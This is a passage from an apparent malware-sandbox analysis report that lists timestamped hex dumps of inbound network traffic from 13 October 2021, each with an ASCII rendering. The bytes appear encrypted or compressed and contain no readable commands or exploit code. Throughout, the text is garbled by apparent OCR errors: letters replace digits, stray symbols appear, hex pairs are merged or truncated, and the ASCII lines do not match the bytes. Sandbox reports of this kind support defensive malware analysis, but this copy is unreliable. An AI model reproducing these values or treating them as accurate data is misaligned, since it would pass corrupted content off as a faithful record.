dc 3f d2 34 b1 f7 68 e4 f8 07 b8 e0 21 a0 ff fa 14 25 09 ff d5 ed 10 31 a3 52 46 fe 1c 40 99 16 68 68 47 d2 b3 13 06 48 54
0f 92 6d 30 da bf c4 a4 55 f3 3d a5 bf 13 35 93 40 Oa ec 60 1d d2 9d a4 db 3f 33 f4 b9 ab d0 f8 Oa ca 13 d7 65 3a 5e 6b c8
1c 20 80 f4 5f ce bb be c9 7e 7f 44 6a 1e 72 3a 56 28 32 f5 fd 25 1d 1e c0 41 8b 21 al 80 83 07 3b 03 12 62 cc 64 fa 89 d3
5b 3e 7c c9 b6 72 83 ef ac d0 7c 84 18 b2 6a 52 Oc 4c f4 c¢6 5f 69 7b 67 a8 68 58 58 27 73 6b 11 4b 92 6b ba 45 25 60 55
ed c5 48 34 dd d7 db el fO eb 65 fd c0 6a 33
Data Ascii: fHL".+6{HP NKOIx&Md8EIAW!tiY0?4h!%1RF@hhGHTMOU=5@ ?3e:*k _~Djr:V(2%A!;bd[>|r|jRL_i{ghXX"
skKKE% UH4ej3

2021-10-13 13:52:00 UTC 476 IN Data Raw: 03 05 4c e5 d1 d3 c9 al 80 52 28 04 fe 33 10 dd 29 89 4e 84 8c 20 a4 €0 23 d1 5e 12 3e 84 37 5c¢ 4d 7e df 4f
dd cd b9 12 8a 38 €0 a5 9b 5f 96 13 d7 b8 58 cc 95 72 46 ¢3 1b d8 c9 7b fc b5 21 73 cd a9 0d 48 aa 44 55 €9 e8 72 ec 06
b5 c6 3f b8 eb 77 43 da fa dd f4 fc 1b db 53 Oc 54 24 32 d4 ee dc cb 5d b0 6d ae c2 e0 f9 62 35 50 19 f1 Of bd 31 fb 9d 51
a3 eedcc5336bcdd261dcc71d2b 0257 ce 02 be 11 aafa 0d 50 2¢c 02 3d bf Oc 52 4a 47 e7 f7 4c b4 17 Oe 99 0d 84
03 d4 96 3b da le ff 24 b3 8d 61 42 60 9a 97 23 3e €3 73 76 a5 22 7b 43 27 c1 4e e5 5d 94 36 d5 ec 6d 1a d1 b7 2b 6f d7
8 c2 d9 08 fd eb 86 fc 6f 51 d1 Ob cd 33 Ob 93 a5 94 60 ae 89 le b4 12 a6 da 72 f5 fa db 1b 4b b4 c3 fe 9b af 39 24 24 8f
03 5c 2e cd 1b 1e ce 19 92 06 cc 5e 0d 36 5f 04 53
Data Ascii: LR(3)N #">7\M~08_XrF{IsHDUr?wCST$2]mb5P1Q3ka+WP,=RJIGL;$aB #>sv"{C'N]6m+00Q3 rK9$$\."6_S

2021-10-13 13:52:00 UTC 477 IN Data Raw: 55 68 f7 43 8¢ 5a c2 e4 31 95 14 08 dd 54 37 81 01 cc le fa ac bc 8c 82 92 79 b5 63 d6 b5 92 2f e5 4a 8b 48
75 40 8d 38 ca 1f 8d Oc 01 15 5a 86 eb 2e ed fd f4 ad 65 61 7c 86 1b cd 7 8e cf f9 f4 36 17 49 24 8f 9a 0d 44 10 07 €9 07
a3 aa ae f0 28 2a ac d6 a9 9e 6b e5 40 d9 66 e6 32 13 61 32 4d 9a 8a 1d dc 1b bc dd c1 {7 88 Oe ea 41 fc ee 38 8a 76 b9
ac 21 ab 50 32 bf 73 al 8a 8c 26 fc 00 f9 6b 06 bc ba ea d3 dc c8 3e 32 30 6¢ a8 cb d4 46 17 94 dd e9 a7 f2 59 6¢ 72 8e
7a 67 7b 29 93 66 2f 4a 38 26 €2 93 da d5 eb 70 64 d9 64 c8 8f fd 08 ce 60 57 ee 83 a3 fd 5¢ 2e f5 Oc 21 ac cb 1a f6 d6 f9
d2 11 9a b2 21 d9 eb ea 17 7c ee ab 00 3e 43 41 52 b0 81 38 88 ff aa 00 8¢ 88 fa 93 ce 22 18 1c 5d d7 3e 00 d1 67 43 97
db 26 f0 31 bb c0 57 31 ca 64 59 fd fe cc 8f b0 a9
Data Ascii: UhCZ1T7yc/JHU@8Z.ea|61$D(*k@f2a2MA8V!P2s&k>20IFYIrzg{)f/J8&pdd W\.!!|>CAR8"]>gC&1W1dY

2021-10-13 13:52:00 UTC 479 IN Data Raw: 72 d9 6d 68 f4 ea c9 17 cd f8 29 22 3f fa al 7e 93 bb 42 85 ae dd e7 b8 d1 48 7c d2 8f 6f 55 2f ee 88 2e ab 7c
853a 56 c8 1bbd ddal 75 a9 44 €9 69 c9 41 ff 0d 38 82 77 1b 2f d0 a0 1d 05 65 d5 d3 7a c9 9c 2a a5 d6 6e c2 37 73 6b
aa ea 59 e7 8b fa a8 df 04 d6 ee 81 e5 5¢c 99 8a 3e 54 e0 9c a4 89 74 8b c3 3a 9f 8a 1a 19 8520 e8 70 d4 44 ee 19 41 75
9c 96 12 f4 fb 0d a6 3c 16 1le 9d a5 Oc a8 76 30 f6 94 85 61 26 f9 5a 84 9e 4f 2d 7e 11 53 60 al 1a a0 8d 93 8c 7a 2f 3e 1f
54 0a 1b 1a 30 3e 5a 30 bd 6 f8 8f 1e 6f 70 51 54 2f 6a 4c b0 02 99 b0 cc 22 52 09 cc bb 45 51 c7 35 ae 06 55 2f 3d 49 ae
fe af 4e 97 2 6¢ 16 08 5a 5b c7 38 17 c8 c5 66 ff c9 65 2e 67 d0 6¢ al 2e 95 d8 1a 98 a5 Oa f4 55 24 93 ad 3d 7d 3e 8a ce
d6 58 06 78 ba a8 21 33 ¢7 d5 06 ca 42 37 6d
Data Ascii: rmh)"?~BH|oU/.|:VuDiA8w/ez*n7skY\>Tt: pDAu<v0a&Z0O-~S'z/>T0>Z0opQT/jL"REQ5U/=INIZ[8fe.gl.
U$=}>Xx!3B7m

2021-10-13 13:52:00 UTC 480 IN Data Raw: b8 23 66 4d f4 6f 68 65 ae 56 9f 9e 04 3d 86 07 08 d2 05 77 b4 71 30 8b 5b 31 20 b5 2a f9 61 b5 d6 c9 €9 1a
4568 b2 ad d7 8e 73 cc 25 3¢ 03 90 dc c2 e0 46 76 ec 07 fe 1c 5d 38 af a8 f8 2¢ 81 75 75 91 8e f6 d7 12 83 03 6e c8 25
34 e4 16 c5 84 20 a9 92 4e cc 8d 97 4d 77 3c 98 94 4b e7 5¢ ac ¢7 0a ba a3 b6 b9 fd 20 e4 91 b5 3e bb 07 ad c9 2b b8 58
80 81 2 f8 45 e2 ¢3 97 Oa 1f a8 50 d7 e7 73 5b 51 61 5b 93 4f ef 97 2a €9 85 d2 6¢c fO dc 2c 73 be 1f 8¢ ef 27 47 19 9f b5
d8 2b 57 b1 df a3 56 4b 02 a9 5f 5¢ f8 3d 7b 80 75 33 6¢ ¢8 9d 35 Oa ed 6 93 21 3e 4d ac 44 20 97 69 09 af cO 35 84 9d
86 2b 5¢ 54 e6 cd el 69 81 38 51 27 15 9c ¢4 fb 77 00 83 13 1a 1b 99 90 85 91 99 06 13 c1 22 36 6b 61 d5 2c 82 c7 b9 16
54 33 35 b9 30 ae 4b 01 fe ba 31 d3 e6 3c f2 78 9c ea
Data Ascii: #fMoheV=wq0[1 *aEhs%<Fv]8,uun%4 NMw<K\ >+XEPs[Qa[O*|,s'G+WVK_\={u3I5!>MD i5+\Ti8Q'w"6ka,
T350K1<x

2021-10-13 13:52:00 UTC 481 IN Data Raw: 5f b7 41 6d 17 f6 f2 cf cc 5a 48 5f 32 a7 66 f1 54 5b 3d a4 96 54 81 ad 4d 31 d5 b5 27 e6 77 a6 21 65 b8 5 8e
b1 b5 5f 9¢ 69 16 36 2f 95 59 52 1f cd €3 b9 c9 a7 19 86 fc 6a 97 5f 4f a3 ae 8d b6 d8 65 9f b9 28 bf 2f ab 02 73 e6 c7 df di
ee bc 9c bf 09 4e cf f1 e7 ea c8 26 fa 7c 73 1e 86 1e 81 d3 9e e2 7b 25 91 c8 84 90 af 90 48 ac cd a8 00 84 66 93 6e 30
4e 6b dd e2 7 af d4 25 b1 27 70 9b 9¢ 87 1c 7f 80 7c 16 3d b5 8c 0d aa fa b9 2c 65 3f c2 9b ac 7a 26 06 67 91 3e ee 5b
1d 58 4e dd 3a 2b 2e 21 63 6¢ 3a 62 f3 34 4f d0 da 28 63 dd 84 91 9e ad 7d 92 2f 3f 93 64 4b e4 45 ef f0 e4 41 b0 86 5d
ad c0 62 3a 72 02 86 de a8 12 d4 71 55 ea bc c4 da cf ea 9d df d6 11 5a b5 16 ec 08 12 49 55 96 4b ae 5e 97 56 86 6e ba
6e 1c 5a 32 4a ad 3d 2f cf 95 fa b3 3a 1b 66 13
Data Ascii: _AmZH_2fT[=TM1'w!e_i6/YR]_Oe(/sN&|s{%HfnONk%'p|=,e?z&g>[XN:+.Icl:b40(c}/?dKEA]b:rqUZIUK"
Vnnz2J=/f

2021-10-13 13:52:00 UTC 483 IN Data Raw: 76 b7 e6 2c 3e 06 9f 13 59 b5 eb 31 2d c0 ed 96 64 f4 16 dc dO fb 7d e2 22 3c 44 a8 be 2b 8e 49 08 14 aa 52
00 8f 4c 7afa aa 62 e4 60 4e ad 37 7a 59 45 ad 78 df 31 06 2f 68 19 13 29 d1 6d b1 05 26 97 39 99 b6 al f2 Ob d5 62 89
55 02 44 58 ec 05 db 10 2e f4 0a ea 69 17 Of 18 da e0 c2 a7 a3 49 40 6a 69 24 43 3e f7 ff el 1a 46 89 2a 29 26 46 77 ea
6a bf 8f de 10 c7 61 el a5 ea 37 66 €5 Ob 98 ac c5 a8 3a 04 be e4 b6 7c 23 ac dc 5¢ 36 18 ef 3c b5 ef 2f a0 13 38 6e ¢3 f1
ef 03 b1 4e 29 cb 8b 67 d0 66 48 a5 b6 a2 55 cd 79 Ob da a3 96 d6 02 fe 29 29 13 b6 98 91 60 f7 16 b2 Oe 28 cc 55 00 8e
cf 7e 60 96 49 51 e5 de 48 7c 68 58 35 1d 3a 43 61 29 bb a0 87 56 3e Oc 57 8d 55 cc ee d5 82 d2 d9 88 c8 ec d9 99 a2
3a b2 74 cd 9c 24 a4 03 fb 40 b2 e2 16 f9 al c7 bl d6 53
Data Ascii: v,>Y1-d}"'<D+IRLzb 'N7zYEx1/h)m&9IbUDX.il@ji$C>F*)&Fwja7f:[#\6</8nN)gfHUy)) (U~ IQH|hX5:Ca)
V>WUt$@S

2021-10-13 13:52:00 UTC 484 IN Data Raw: 10 c2 69 db al f1 32 39 8d 51 ed Oc da ac 61 8b 87 83 bd c5 9d 6d a8 dd 54 0f f9 f6 8d 74 10 7b {3 5f bc be 36
al b3 ae 23 04 eb ce 1c c7 10 84 05 8¢ 89 2f a2 78 86 82 cf 21 93 64 a6 a6 54 e6 5e 18 10 31 8b 65 97 10 Ob fb 98 9a e4
41 b9 0a 2b da fd b8 94 0e 99 b9 48 1d ac 75 31 2c 5d cf d1 60 a7 dO 23 32 a7 37 49 9f e0 23 87 32 a4 a4 53 93 a4 02 6b
ec 74 59 52 d1 a0 87 92 2a 6e 19 81 7e 3f 98 49 9f 59 27 70 fc 1a 7a a6 d3 9d 1d 4f 48 10 c1 ae 56 90 ea 51 4b Oa 8c ca
34 75 0c 1a 09 05 28 5¢ 17 89 91 dc 74 c0 64 e8 ac 04 03 ea 10 20 ec 82 45 6a 2d fc 19 ea bl fe 5a 28 eb e6 7a 04 fe 87
ef ee bb bc Oc 72 b4 1c 73 25 18 39 79 23 d3 88 3c 65 f2 cO f7 b5 a7 bb 30 48 68 9a ad 28 6a 25 41 a3 02 8d 79 d9 38 6d
2c d4 fe a4 e2 6f 19 0d ef a5 7b 9c 9d 73 Oa da 16 f5
Data Ascii: i29QamTt{_6#/x!dT " 1eA+Hul,] #271#2SktYR*n~?IY'pzOHVQK4u(\td Ej-Z(zrs%9y#<e0Hh(j%Ay8m,o{s
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:52:00 UTC 485 IN Data Raw: d1 ac e2 02 ab 42 53 ca 44 d6 5b 34 99 e5 a8 7d 0d 6a 85 e6 46 28 05 e6 fc 71 fd 93 fe 7a 39 ec b5 36 9c 65
95 27 57 05 ce 1b f7 ea 0d c5 65 a7 9e df 45 20 01 f4 64 63 bf c7 ec 39 22 5e Oe al ed 2e 70 68 b8 50 22 2e 5a 84 35 38
7c ae 9e 35 b5 b4 19 dc 4e d8 97 c1 cf 72 2f dd 2d 5¢ 6a 66 0d 8e 9d 92 36 a0 24 b0 a3 f0 12 ce f9 3 af 95 a0 92 34 30
97 8b bd f0 4d 57 b9 d7 b2 38 78 80 a4 4b 7c c9 91 09 af 53 74 7d d4 ec 53 bd f0 9f ec 40 6b 4f 2b 8d 97 62 87 83 a9 ae
ea 5b 86 10 ca 71 c9 be ab 6f 45 d7 85 ff 60 aa Ob 7c bc 76 39 1f d5 e3 94 19 15 79 f1 55 99 1c b0 3c 05 6f 99 04 f2 f1 fe
f30c 86 7b 33 c1 57 a3 ec 82 ee 99 eb ¢1 c9 00 f5 €8 bd c5 1a d5 8d 10 83 53 00 d1 55 20 d7 5b bc 0a 45 73 dd bd 19 c9
7b 47 cf ab 31 c1 74 e5 25 Oc be 72 fc d8 b6 c0 cd ed
Data Ascii: BSD[4}jF(qz96e'WeE dc9"".phP".Z58|5Nr/-\jf6$40MWBXK|St}S@kO+b[qoE’|vOyU<o{3WSU [Es{G1t%r

2021-10-13 13:52:00 UTC 486 IN Data Raw: cd Oa 7e 8a af 04 9d 71 87 df ca 60 19 d7 ba ab 96 cc 1d 83 cf eb 58 7d 02 aa 91 24 af 9c 93 4e 8d 3e e0 49
97 65 f5 a4 73 50 ed b0 b5 11 16 43 0a ab a5 39 el a7 5e 2c fd fc 9c d2 c5 04 78 78 3e 75 da 8a 92 b2 be 77 00 63 €9 26
d1 1a 93 38 a3 c3 6¢ 3a cb {7 6f f6 26 25 55 4¢ 67 ef 96 11 6d da 98 71 09 c1 fd 71 00 ca bl c1 95 76 af ab ec 96 62 09 d8
25 9a e6 7f d4 cc 6¢c a9 db b7 e8 fc 1b 2f 7d d5 0f 2f 32 93 8d 2e c6 b4 45 83 4e 3a b5 6d 09 ee 31 91 73 39 9a 51 2d a0
3 2b 49 db d5 27 c1 b8 65 28 4a 58 ca 48 el 1c b8 el 2c b6 3a 68 9d 7a 61 ea 1b 72 a5 70 8e cd 3d 15 b7 10 09 e9 67
84 ¢5 57 8e 93 10 64 5 b0 2b 86 c3 01 08 ea b8 9c d9 d2 85 d5 60 b1 82 8a 34 9d 5f e3 fa 7c b9 14 86 73 ee d8 45 le b9
bc be 98 8a 5f 9b be 51 7c 16 6a 34 84 46 8d 40 6b 89 25
Data Ascii: ~q X}$N>1esPC9" xx>uwc&8l:0&%ULgmaqvb%l/}/2.EN:m1s9Q-+I'e(JXH,:hzarp=gWd+'4_|sE_Q|j[4F@k%

2021-10-13 13:52:00 UTC 488 IN Data Raw: 9d ff 9b ca 96 ab d6 64 a3 74 c4 3e 1f 61 el ea 55 8d 09 37 83 4e f2 8b 44 9a ea ed cd 7c 88 €8 4f 09 a3 19 16
4a f7 79 90 88 ed c1 2c 5f b5 04 f2 87 39 02 f4 60 d7 30 f8 e6 5 60 9d 92 9d e8 2d d8 al al 52 41 20 14 6f 32 1f 3e 52 b3
84 27 b9 54 3d 40 9a 51 c1 10 53 eb 6f 5b 28 8c 7 46 b2 c6 1d 14 db c2 5e c4 36 f6 87 32 aa 8d 28 6e 86 a2 50 23 e5 9d
ff c8 4b 38 7d 76 27 7d 30 a0 f8 2a al 01 12 9a 78 96 ed 4a 07 bf 05 05 fb de 7d f5 Oc 3f cb 2b 91 ea 65 fc 4¢c d2 03 6a 42
00 30 42 79 8e b0 06 4c 78 30 df 4f d1 54 83 9f f3 31 1d 82 c0 d0 7a 5e db 8 77 3c 3a 9f bd 91 89 73 9c cc ed fb a4 74 8f
b0 8d 9d 8c 4c 48 55 31 7b 34 fe a7 b7 Oc cc ¢5 71 56 a0 7b 67 32 67 €6 34 97 4a f6 4a 35 c6 dd 58 a4 ab 71 72 13 d2 7c
27 24 9d bd 50 87 18 ca ae 03 18 ab be 53 fb
Data Ascii: dt>aU7ND|OJy,_9°0-RA 02>R'T=@QSo[(F"62(nP#K8}v'}0*xJ}?+eLjBOBYLx00T 1z w<:stLHU1{4qV{g2g
43I5Xqr|'$PS

2021-10-13 13:52:00 UTC 489 IN Data Raw: f4 64 82 0b 15 03 19 71 ed d3 4c d4 00 a5 37 9c 3f ¢6 32 10 16 3d dc 1e 3d 52 68 81 bb 32 91 e6 bd d4 5d cb
8d 16 60 31 77 29 67 9b 68 d7 a9 fc al 36 6b 44 a7 0d f3 72 d9 47 43 1e 68 f1 62 d9 65 4a 3b 94 97 68 ec 4d 3d 3a db 0d
fe Oc a2 96 00 5d 71 7e 27 14 4f 17 9b d3 3e 90 39 f7 db db 73 2b 37 90 41 57 1c dc 7e 87 4f 96 14 87 49 38 43 6a c5 d4
7c e5 fe 1f 49 04 2f 4c 1d 62 6d a2 90 55 28 bc a8 0d 78 fc 8a b5 c6 a4 a7 dd 59 ac 82 3e fc 90 79 b9 0f fd 7d fa e7 a6 44
d3 98 ae 6d €9 c5 5f 77 7b 97 34 9d 49 65 70 01 db c8 8¢ ba 95 b9 ee 99 ac c0 3f f5 67 60 08 6¢ ee e3 d1 99 c3 ad 74 12
b2 5e 33 94 5d 4c 42 40 2 9a 7 3d b0 fb 09 ef f9 37 98 48 84 13 c8 5f fa d8 88 50 36 62 bc ¢8 5b 45 9f bd 74 8¢ Oc 3e 3a
90 37 ca 96 2f 2¢ 6a 02 ec 35 ae 13 07 1b 60 ba 79
Data Ascii: dqL7?2==Rh2] 1w)gh6kDrGChbeJ;hM=:]q~'0>9s+7AW~OI8Cj|l/LbmU(xY>y}Dm_w{4lep?g It"3|LB@=7H_
P6b[Et>:7/,j5y

2021-10-13 13:52:00 UTC 490 IN Data Raw: ef 39 Oc 68 35 20 18 14 7b 3d cd 9c 3b 8d c0 18 90 f3 52 32 a1 13 Oc 52 93 61 0f d9 b4 c3 fb 1d ae 8b a9 1d e2
15 62 e5 c8 fa d6 e8 30 04 c4 b5 89 dO 4a a9 62 60 4a bc 98 e8 95 b2 36 90 6d 3a f2 60 92 c2 Oe 59 4e 1d 99 81 63 33 {7
a6 72 1a 90 56 50 24 62 ac 29 a7 c5 9b b5 b9 76 43 59 2¢ f5 54 71 55 33 41 42 09 99 48 {3 ff 81 09 4c e0 e2 a5 88 30 Of
1la 7a b0 df fd 80 b6 de 02 Of 87 19 fd 6¢ Oe 30 49 05 92 21 07 ef 2e ff 56 7a 9d 74 db c6 c7 c1 7 45 6¢ 53 75 75 63 33 a7
7431 0f00 18 ca cc 4d 4c e5 1b 88 b1 77 09 e2 e5 4f 6a d2 e3 24 bf 41 4¢c 52 05 a5 3c 49 76 8¢ 47 13 4f Of b7 2c 86 1f eb
€6 f4 9¢c 99 e9 4a 97 6¢ 98 fe d2 e5 17 3d 6b c6 al 15 f5 a2 14 ee 6¢ f1 ea 72 fa 07 1c 05 96 97 8b 89 fa 22 03 Oc 36 03 9b
7292 ¢5 70 2d 9b 1f 66 48 95 24 32 f3 b0 7b
Data Ascii: 9h5 {=;R2Rab0Jb*J6m: YNc3rVP$b)vCY, TqU3ABHLOZIOI!.VZtEISuuc3tIMLWO$ALR<IVGO,JI=kIr"6zp-fH$2{

2021-10-13 13:52:00 UTC 491 IN Data Raw: c3 ae 57 42 f0 d4 d1 f0 11 b5 12 72 52 33 3f 3d 67 03 fc 29 Ob ec 66 b7 12 55 e5 3c 57 96 4b 54 4e e2 el 11
dd a9 79 ac eb 61 e9 23 ee ad dd 4a 33 fc f8 56 9e ea 4c c3 e7 2a f2 c0 e9 a6 ef 5d 09 84 da b7 1c 1d 95 9e 7d f6 el 92
bc 60 ad 5¢ fd 7f 1e 86 6b 16 36 95 32 5¢ 0a 3e 59 53 2f 34 35 b5 24 6 98 cc 13 28 81 1b 2a 6a 1f ed f0 08 67 ce e6 93 c1
6 ce a6 5d 1c 62 9d f8 25 83 54 d5 d6 3 99 8e e7 31 38 Oc 5e 73 bl 4c f1 de 55 91 dc 71 12 d4 Oa c4 bf 1f 12 6b 07 a6 4c
bc e5 47 9f d4 e8 b7 b3 07 al 7a 40 17 35 f8 27 6 8¢ 69 a3 2b 71 23 f4 79 f6 dO 09 7d c8 f0 d1 5¢ 15 c7 2e f1 71 03 df e3
59 d2 al bf cO ab 1d 20 ca dd a6 2c ab e9 ad 35 dd 2f af 00 fc 8c 26 58 71 cd da 64 c8 7c 8c 52 df 37 31 99 2e ab 7f a4 25
el 6f 14 dc 95 33 94 c¢7 92 2a cc 22 aa 2b d9
Data Ascii: WBrR3?=g)fU<WKTNya#J3VL*]} \k62\>Y S/45$(*jg]b%T 18 sLUGKLGz@5'i+q#y}\.qY ,5/&Xqd|R71.%03*"+

2021-10-13 13:52:00 UTC 492 IN Data Raw: fd 77 6d d5 53 8b 5a 7c 5e 7f 5f 16 b0 df c6 93 f5 ad 7b bc c2 ff 4a 8b 46 8f 98 cc 5¢ 6¢ 7a 49 f3 f5 4f 09 ed d1
ec a6 8d 03 Ob 95 f9 0d 7b 22 d4 c6 8 f1 5¢ 66 f1 da 24 20 3b f6 bf 7c 13 51 93 7 60 a6 15 44 2d cb 66 ee c9 be bd 8a d8
06 94 94 4a 20 69 a8 af b3 d9 47 60 24 9c 95 e6 1b d6 37 14 cf c1 44 09 29 04 9e d7 dd Oa b4 94 33 79 1b 48 d5 Ob ed 95
2987 73 62 7a 01 5f 10 1f 2f b5 d2 a9 7c 96 67 e6 85 f1 ae c0 29 b3 b1 67 d7 57 35 91 28 3d €3 76 d3 b9 56 9e 75 94 8e
8f 1b b2 b7 Ob a4 e2 5a 15 c9 df 40 cb c2 d2 8e 99 88 cc d8 71 3b 9a 31 da 52 e5 ec b3 32 6d d2 91 bf 86 7a d6 d7 be 29
df 5f d3 a0 fa 8e 52 88 56 d4 5b b9 f3 16 d2 af f5 01 91 e4 90 85 63 14 1a 68 ea 5a 16 0f 78 3a ba 30 67 5 b6 d2 d8 db 09
a5 45 d2 7e 51 09 €9 ba d1 6b €0 b0 10 1e 47
Data Ascii: wmSZ|*_{JF\zIO{"\f$ ;|Q"D-fJ iG $7D)3yH)sbz_/|g)gW5(=vWuZ@q;1R2mz)_RV[chZx:0gE~QkG

2021-10-13 13:52:00 UTC 493 IN Data Raw: 99 2e 68 ad 0a 38 59 81 8a 72 30 1f 99 85 db 38 c1 28 2f ef a4 2d d7 88 ba 5a f3 48 f8 5e aa 67 92 9c 72 3b 2d
a4 49 ce 57 5a al a9 33 26 5 b4 4d 27 a9 f2 1b 52 9b 29 c0 29 b5 7f bf 92 91 cb db 4e f5 20 50 c9 48 7 fc d8 f1 3c 6e 5f
05 83 27 c8 01 5e 84 db a4 43 ed b9 23 3f df 6d 07 99 6d 85 b4 6b 62 aa 64 bd 98 d6 79 dd 78 88 70 37 17 4d 32 7f 49 32
8d 3b 1c f6 09 a2 03 fd b9 d8 00 ee 4f f1 12 3e f7 89 2f Ob c0 00 b3 7f c8 53 18 e9 ab 91 7b 6d ab 40 9b fO 87 4b 18 ad b5
bd 89 55 bb 95 4b 5f 4f 5e Of 3e a8 6b de 26 93 d9 d3 c5 12 68 fc 00 80 a4 06 c2 7e 06 36 87 99 11 ee 26 le 1d b7 58 62
2e aa be 74 77 bb 7a b6 7d 11 b8 54 da d0 af 75 6¢ 73 5¢ 21 34 cb f2 81 44 90 b8 b3 d2 ec f4 8¢ b5 14 52 b3 49 04 d7 bf
42 fb 09 46 d3 64 4c 60 fa ba 5e 3b 4d 86 90 8b
Data Ascii: .h8Yr08(/-ZH"gr;-IWZ3&M'R))N PH<n_""C#?mmkbdyxp7M212;0>/S{m@KUK_0O">k&h~6&Xb.twz}Tuls\!4D
RIBFdL'A;M

2021-10-13 13:52:00 UTC 495 IN Data Raw: 58 el f2 80 84 be 02 45 fa d0 Oc Oa f4 54 56 11 61 6b 26 65 61 el 18 01 86 d8 10 cb d5 e9 b8 db 62 5a 2b e3
75 b7 8a 04 fa 50 98 26 a5 a6 90 ff 87 ca 9a f0 99 6e ae 44 3f fd aa Oe 6¢ 52 c4 fc 49 67 a5 bd 4f 50 3b b3 79 3 79 ¢9 12
7d f5f8 c9 el ¢392 2b 01 97 17 58 a9 c2 b3 46 15 eb 66 €6 3c 43 27 5f b7 a6 94 1f el 9c c¢7 99 97 f5 c9 cf 65 e5 d1 90 8a
67 3d 61 b8 63 bc 07 7f aa e3 {7 fe 43 5¢ 31 6a 40 35 1f 2d 64 bc 52 69 09 20 be fd dd a9 38 f9 63 d2 3d 38 e2 db 2b 20 ce
23 d2 d2 36 f3 26 8f a3 60 9d 08 95 49 d6 50 40 94 a5 9a c8 28 e3 79 20 b9 14 bc e7 a4 d8 19 64 2a 12 3f 91 93 50 a4 1le
5fad 88 cf 84 af 75 51 93 77 63 d2 9b 0d ba 06 31 70 56 18 a6 92 f5 75 80 64 ca d3 ab 0f 1d b3 93 58 c4 45 9e db 54 00
218c 8e 78 1d 18 09 d7 97 78 a7 18 fc 5d d8 93
Data Ascii: XETVak&eabZ+uP&nD?IRIgOP;yy}+XFf<C'_eg=acC\1j@5-dRi 8c=8+ #6& IP@(y d*?P_uQwclpVudXET!xx]

2021-10-13 13:52:00 UTC 496 IN Data Raw: 47 d7 65 b5 eb a2 5¢ f9 ¢9 65 20 88 6¢ b0 f9 bb 00 9a €8 98 20 dd 4c 31 58 63 56 46 ae 1f 95 27 f2 e1 68 95 61
81 88 a6 cc a3 fc b2 a6 d7 53 20 d4 2d e6 f4 bb 6e 84 be 4f d3 8a 34 da Oa e5 a5 d6 el c6 8f cd a2 c2 3a 60 07 28 b9 cb
72 2b 0d 42 10 21 32 c4 a3 72 Oa ab a8 f7 83 09 13 66 c8 9b df 6a d6 49 fd c4 01 ed 8f 7e al 6¢ 18 54 56 0d b0 8e eb df
5557 09 5¢ bd 07 19 ¢5 50 8d a7 8f 7f 41 16 04 88 72 a4 81 2f 58 57 34 c1 46 Oc 94 09 92 6e 04 66 69 05 b2 52 5¢c ac 65
38 62 6e 5a 7d ce 74 0a 33 13 42 26 c4 53 1b a6 €9 1b df 5¢c a4 0d 47 26 62 cb 6d 6d f1 Ob bf 75 3d aa 69 37 08 65 6d f4
00 8b f0 88 ad 3f 43 3d 95 96 b0 34 2d 16 08 64 03 1f 5b 2d bb 27 5a 39 62 12 1d 9a fd 5d c1 2c d0 89 54 e9 e0 cd c6 c9
e5 3a le ae 1c 8a 0a 09 8e b5 ce 79 cb d9 e3 e3 2f ae
Data Ascii: Ge\e | LLXcVF'haS -nO4:" (r+B!2rfjl~ITVUW\PAI/ XW4FnfiR\e8bn Z}t3B&S\G&bmmu=i7em?C=4-d[-'Z9b], T:y/

Copyright Joe Security LLC 2021 Page 110 of 136



kBytes
Timestamp transferred Direction Data

2021-10-13 13:52:00 UTC 497 IN Data Raw: 3b b3 ed f6 01 8e 59 52 4f f4 3f e3 ff 6b df 93 02 fc c6 8a 39 ae c4 bf 01 4a fc 05 86 a5 fa ce b9 fa 24 08 ea 6e
21 46 d8 cc 40 0f 52 56 63 ad ec d8 58 d2 Oe 01 43 02 54 45 ed dO f6 8b 2b 64 fd 1f 32 23 db d8 2c 22 d1 d2 61 40 01 8d
ac d4 75 a9 5d 22 78 7b 64 29 c3 67 58 59 6a d8 79 7c 8c be cb 79 12 3¢ 9b 55 82 c2 1a db fO ca 94 db 3e 89 11 c9 61 1a
94 45 93 e6 c3 e6 1b 6e 52 c3 24 a9 e9 bf 8¢ 90 e4 df bl aa 2a c4 13 d9 2c c5 9a d4 ef Oe a7 75 bl f3 35 bc f1 6¢ d8 75 dE
cb 3f ff 2c a9 ab 97 c9 4d 82 bb d4 56 d6 2b 4f 81 99 c5 28 Oe 83 de fO 15 ab 89 8d b6 4e f8 55 16 a0 d2 d8 e5 9d ca c5 a5
5a b0 18 cf 3a 77 36 1c 46 11 33 3f f1 18 a6 0a 3b 29 aa a3 4a 61 93 27 Oc 84 5d f3 a2 a3 6¢ 5f 03 02 29 15 fd 6f al 13 d8
40 cf 8a 80 01 7b 29 31 4e 8d df 84 b2 89
Data Ascii: ;YRO?k9J$n!F@RVCcXCTE+d2#,"a@u]"x{d)gXYjyly<U>aEnR$*,u5lu?,MV+O(NUZ:w6F3?;)Jall_)o@{)1N

2021-10-13 13:52:00 UTC 499 IN Data Raw: f3 da 8b 41 59 48 15 21 56 c4 38 6e ee f9 da 6¢ Oe 89 93 99 80 e6 6d 35 ad 1b a2 71 69 2a b1 b9 49 76 4c 42
65 e4 70 69 c8 62 d8 01 09 76 b8 80 e5 41 61 7c a3 fO 2e ca 8f 23 01 8 3d b9 78 83 97 b7 4e 54 70 5e fa f6 fc cf Ob 61
4416 73 el db b4 37 21 d3 63 86 d6 75 62 02 ee 34 af 58 54 d4 60 79 ab cc 38 1c ef c6 75 db Of 4e 97 45 6e 3d 78 71 49
4f 22 56 f4 78 cc 5e 47 0d €9 25 al b0 f4 0a e4 bd 34 0f ca b1 15 b7 d6 fd 64 08 c¢3 7d 3a 3d 04 53 35 17 d4 8f 8c 5e 4e
0a 2b 18 d4 34 7d 81 2e 83 57 45 20 8 12 f1 b7 a2 ba bb 3e 78 02 62 61 Ob de bd d9 d6 12 e7 8c ac 25 ea 98 Ob 9d ba 03
c2 a7 22 1d fb 84 1le ba 4c c6 cc 64 79 d2 d3 98 65 db cO al 5e 57 5a 16 83 59 eb 9e 89 6e 37 3f 31 33 Ob al e0 af 25 2e
a3 3d 6¢ c8 a5 cc 4c b2 25 f1 0f 09 5d 5f 32 f0 8a e5 7b
Data Ascii: AYH!V8nim5gi*IvLBepibvAa|.#=xNTp~aDs7!cub4XT yB8uNEn=xglO"Vx"G%4d}:=S5"N+4}.WE >xba%"Ldye
AWZYN7213%.=1L%)]_2{

